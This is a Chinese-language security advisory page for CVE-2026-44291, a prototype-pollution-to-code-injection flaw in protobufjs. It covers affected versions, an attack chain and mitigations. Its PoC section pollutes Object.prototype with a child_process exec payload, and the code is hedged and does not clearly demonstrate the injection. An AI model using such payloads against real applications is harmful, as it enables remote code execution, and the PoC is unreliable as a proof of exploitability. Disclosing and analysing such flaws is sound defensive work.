IPBUF安全漏洞报告
English
CVE-2026-44291 CVSS 8.1 高危

CVE-2026-44291 protobufjs原型污染致代码注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44291
漏洞类型
原型污染、代码注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
protobufjs

相关标签

CVE-2026-44291protobufjs原型污染代码注入RCEJavaScript

漏洞概述

protobufjs在7.5.6和8.0.2之前的版本中存在安全漏洞。由于库在生成编码和解码函数时使用了继承原型的内部类型查找表,攻击者若能污染Object.prototype,即可将恶意属性解析为有效的类型信息。这会导致攻击者控制的字符串被注入到生成的JavaScript代码中,从而引发代码注入攻击。

技术细节

该漏洞的根本原因是protobufjs内部使用的类型查找表依赖于JavaScript的原型链机制。在受影响的版本中,这些表是普通对象,默认继承自Object.prototype。如果攻击者能够利用应用程序的其他部分(如不安全的JSON合并或解析)污染Object.prototype,注入恶意属性,protobufjs在解析类型时会遍历原型链并读取这些属性。这导致生成的JavaScript代码逻辑被篡改,将攻击者提供的字符串直接嵌入代码中。由于这些生成的代码通常会被动态执行,攻击者可通过精心构造的字符串实现远程代码执行(RCE),完全控制受害者的系统。修复版本改用了不具备原型的空对象来构建查找表,从而阻断了此类攻击。

攻击链分析

STEP 1
1. 环境侦察
攻击者确认目标应用使用了protobufjs库,并且版本在7.5.6或8.0.2之前。
STEP 2
2. 原型污染
攻击者利用应用中的其他漏洞(如不安全的对象合并)污染Object.prototype,注入恶意属性。
STEP 3
3. 代码生成
目标应用运行protobufjs生成编码或解码函数,内部查找表遍历原型链读取到恶意属性。
STEP 4
4. 代码注入
恶意属性被当作合法的protobuf类型信息,导致攻击者控制的字符串被写入生成的JS代码中。
STEP 5
5. 执行攻击
当生成的代码被加载或执行时,触发恶意逻辑,可能导致远程代码执行(RCE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-44291: Prototype Pollution leading to Code Injection // 1. Simulate prototype pollution in the environment Object.prototype.maliciousType = "require('child_process').exec('calc.exe')"; // 2. Initialize protobufjs (assuming a vulnerable version < 7.5.6 or < 8.0.2) const protobuf = require("protobufjs"); // 3. Define a schema that triggers the internal lookup const schema = "message MyMessage { optional string data = 1; }"; // 4. Parse and attempt to generate code const root = protobuf.parse(schema).root; const Message = root.lookupType("MyMessage"); // In a vulnerable scenario, the code generation logic might incorporate // the polluted property 'maliciousType' into the output function, // leading to execution of the payload when the message is encoded/decoded. console.log("If vulnerable, the generated code might reference the polluted prototype property."); // Cleanup delete Object.prototype.maliciousType;

影响范围

protobufjs < 7.5.6
protobufjs >= 8.0.0, < 8.0.2

防御指南

临时缓解措施
如果无法立即升级,应确保应用程序环境严格防御原型污染攻击(例如,使用`Object.freeze(Object.prototype)`或过滤JSON输入),但这仅作为临时缓解手段,最终仍需升级库版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表